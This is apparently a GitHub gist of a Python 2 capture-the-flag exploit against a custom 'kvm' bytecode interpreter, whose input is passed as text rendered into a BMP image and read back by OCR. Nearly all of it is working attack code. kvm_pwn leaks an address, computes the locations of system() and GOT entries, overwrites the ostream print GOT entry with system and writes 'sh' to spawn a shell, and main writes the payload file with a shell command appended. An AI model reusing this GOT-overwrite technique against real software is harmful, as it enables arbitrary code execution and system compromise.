def kvm_rev(): | |
cmd = [] | |
reg_rand_old = 0 | |
reg_rand = 1 | |
reg_rand2 = 2 | |
reg_total = 3 | |
reg_10 = 4 | |
reg_loop_pos = 5 | |
reg_128 = 6 | |
reg_2 = 7 | |
reg_loop_label = 8 | |
cmd += cmd_op_inc(reg_2) | |
cmd += cmd_op_inc(reg_2) | |
cmd += cmd_op_inc(reg_10) | |
cmd += cmd_op_inc(reg_10) | |
cmd += cmd_op_inc(reg_10) | |
cmd += cmd_op_mul(reg_10, reg_10) #9 | |
cmd += cmd_op_inc(reg_10) #10 | |
cmd += cmd_op_dec(reg_loop_label) | |
cmd += cmd_op_dec(reg_loop_label) | |
cmd += cmd_op_dec(reg_loop_label) | |
cmd += cmd_op_mul(reg_loop_label, reg_10) #-30 | |
cmd += cmd_op_dec(reg_loop_label) # 31 | |
cmd += cmd_op_dec(reg_loop_label) # 32 | |
cmd += cmd_op_inc(reg_128) # | |
cmd += cmd_op_inc(reg_128) # | |
cmd += cmd_op_mul(reg_128, reg_128) #4 | |
cmd += cmd_op_mul(reg_128, reg_128) #16 | |
cmd += cmd_op_mul(reg_128, reg_128) #256 | |
cmd += cmd_op_div(reg_128, reg_2) #128 | |
cmd += cmd_op_dec(reg_128) | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
label_loop = len(cmd) | |
cmd += cmd_set_random(reg_rand) | |
cmd += cmd_op_equate(reg_rand2, reg_rand) | |
cmd += cmd_op_mul(reg_rand, reg_10) | |
cmd += cmd_op_add(reg_rand, reg_rand_old) | |
cmd += cmd_op_equate(reg_rand_old, reg_rand2) | |
cmd += cmd_i2a(reg_rand) | |
cmd += cmd_compare(reg_loop_pos, reg_128) | |
cmd += cmd_op_inc(reg_loop_pos) | |
cmd += cmd_jmp_less(reg_loop_label) | |
print "loop_delta %d" % (len(cmd) - label_loop) | |
cmd += cmd_final() | |
msg = cmd2msg(cmd) | |
print "msg_len %d" % len(msg) | |
return msg | |
def cmd_const_u8(reg, n): | |
cmd = [] | |
cmd += cmd_op_set_zero(reg) | |
for i in range(8): | |
if n & (1<<i): | |
# reg |= 1<<i | |
cmd += cmd_op_add(reg, i+1) | |
return cmd | |
def kvm_pwn(): | |
cmd = [] | |
reg_0 = 0 | |
reg_1 = 1 | |
reg_2 = 2 | |
reg_4 = 3 | |
reg_8 = 4 | |
reg_16 = 5 | |
reg_32 = 6 | |
reg_64 = 7 | |
reg_128 = 8 | |
reg_256 = 9 | |
reg_minus_1 = 10 | |
reg_tmp = 11 | |
reg_loop_idx = 12 | |
reg_loop_count = 13 | |
reg_jmp_delta = 14 | |
reg_funcaddr = 15 | |
reg_cmdptr = 16 | |
reg_cmd = 17 | |
reg_system = 18 | |
reg_gotplt_cout = 19 | |
reg_gotplt_print = 20 | |
# -1 | |
cmd += cmd_op_dec(reg_minus_1) | |
# 1 | |
cmd += cmd_op_inc(reg_1) | |
# 2 | |
cmd += cmd_op_inc(reg_2) | |
cmd += cmd_op_inc(reg_2) | |
# 4 | |
cmd += cmd_op_equate(reg_4, reg_2) | |
cmd += cmd_op_mul(reg_4, reg_2) | |
cmd += cmd_nop() | |
# 8 | |
cmd += cmd_op_equate(reg_8, reg_4) | |
cmd += cmd_op_mul(reg_8, reg_2) | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_op_equate(reg_16, reg_8) | |
cmd += cmd_op_mul(reg_16, reg_2) | |
# 16 | |
cmd += cmd_op_equate(reg_16, reg_8) | |
cmd += cmd_op_mul(reg_16, reg_2) | |
# 32 | |
cmd += cmd_op_equate(reg_32, reg_16) | |
cmd += cmd_op_mul(reg_32, reg_2) | |
cmd += cmd_nop() | |
# 64 | |
cmd += cmd_op_equate(reg_64, reg_32) | |
cmd += cmd_op_mul(reg_64, reg_2) | |
# 128 | |
cmd += cmd_op_equate(reg_128, reg_64) | |
cmd += cmd_op_mul(reg_128, reg_2) | |
# 256 | |
cmd += cmd_op_equate(reg_256, reg_128) | |
cmd += cmd_op_mul(reg_256, reg_2) | |
cmd += cmd_nop() | |
# skip randoms | |
cmd += cmd_op_equate(reg_loop_count, reg_128) | |
cmd += cmd_op_dec(reg_loop_count) | |
cmd += cmd_op_equate(reg_jmp_delta, reg_16) | |
cmd += cmd_op_mul(reg_jmp_delta, reg_minus_1) # -16 | |
if 1: | |
# for i in range(128): | |
# tmp = randtbl[randpos++] | |
cmd += [0,0,31] | |
cmd += cmd_set_random(reg_tmp) | |
cmd += cmd_compare(reg_loop_idx, reg_loop_count) | |
cmd += cmd_op_inc(reg_loop_idx) | |
cmd += cmd_jmp_less(reg_jmp_delta) | |
# --- | |
# funcaddr = randtbl[128] | |
cmd += cmd_set_random(reg_funcaddr) | |
# baseaddr = funcaddr - 0xB6E3 | |
# cmd = "sh\x00" | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_const_u8(reg_tmp, 0x73) | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_op_add(reg_cmd, reg_tmp) | |
cmd += cmd_const_u8(reg_tmp, 0x68) | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += cmd_op_add(reg_cmd, reg_tmp) | |
# got_cout = funcaddr + 0x2128ed | |
cmd += [0,0,0,0,31] | |
cmd += cmd_op_equate(reg_gotplt_cout, reg_funcaddr) | |
cmd += cmd_const_u8(reg_tmp, 0xed) | |
cmd += [0,0,0,0,31] | |
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp) | |
cmd += cmd_const_u8(reg_tmp, 0x28) | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp) | |
cmd += [0,0,0,0,31] | |
cmd += cmd_const_u8(reg_tmp, 0x21) | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp) | |
# gotplt__ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc = baseaddr + 0x21e0a8 (got_cout + 0xd8) | |
cmd += cmd_op_equate(reg_gotplt_print, reg_gotplt_cout) | |
cmd += [0,0,0,31] | |
cmd += cmd_const_u8(reg_tmp, 0xd8) | |
cmd += cmd_nop() | |
cmd += cmd_op_add(reg_gotplt_print, reg_tmp) | |
# system = baseaddr + 0xa322 (funcaddr-0x13c1) | |
cmd += [0,0,31] | |
cmd += cmd_op_equate(reg_system, reg_funcaddr) | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_nop() | |
cmd += cmd_const_u8(reg_tmp, 0xc1) | |
cmd += cmd_op_mul(reg_tmp, reg_minus_1) | |
cmd += [0, 0, 0, 0, 31] | |
cmd += cmd_op_add(reg_system, reg_tmp) | |
cmd += cmd_const_u8(reg_tmp, 0x13) | |
cmd += cmd_nop() | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += [0, 0, 0, 31] | |
cmd += cmd_op_mul(reg_tmp, reg_minus_1) | |
cmd += cmd_op_add(reg_system, reg_tmp) | |
# cmdptr | |
cmd += [0, 0,0, 0, 31] | |
cmd += cmd_op_equate(reg_cmdptr, reg_gotplt_cout) | |
cmd += cmd_const_u8(reg_tmp, 0x2) | |
cmd += cmd_op_mul(reg_tmp, reg_256) | |
cmd += cmd_op_add(reg_cmdptr, reg_tmp) | |
cmd += cmd_op_pointer_write(reg_gotplt_print, reg_system) | |
cmd += [0, 0, 31] | |
cmd += cmd_op_pointer_read(reg_cmdptr, reg_gotplt_cout) | |
cmd += cmd_op_pointer_write(reg_cmdptr, reg_cmd) | |
cmd += cmd_final() | |
msg = cmd2msg(cmd) | |
print "msg_len %d" % len(msg) | |
return msg | |
def main(): | |
input_text = kvm_pwn() | |
print "Input Text : %s" % input_text | |
assert(len(input_text) < 8192) | |
sample_count = 0 | |
for font_size in range(38, 39): | |
img = PIL.Image.new("1", (1400, 1400)) | |
draw_text(img, input_text, font_size) | |
#img.show() | |
filename = "sample.bmp" | |
img.save(filename) | |
text = unicode(image2text(filename), "utf-8") | |
text = text.replace(u" ", u"") | |
text = text.replace(u"\n", u"") | |
#print "Output Text: %s" % text | |
success = True | |
count = 0 | |
while count < len(input_text): | |
if text[count] != input_text[count]: | |
success = False | |
break | |
count += 1 | |
if success: | |
pic = open(filename,"rb").read() | |
open("kvminput","wb").write(("%d\n"%len(pic)) +pic+SHELL_CMD) | |
print "ok" | |
break | |
else: | |
print "error pos=%4d fontsize=%4d" % (count, font_size) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Wow !@!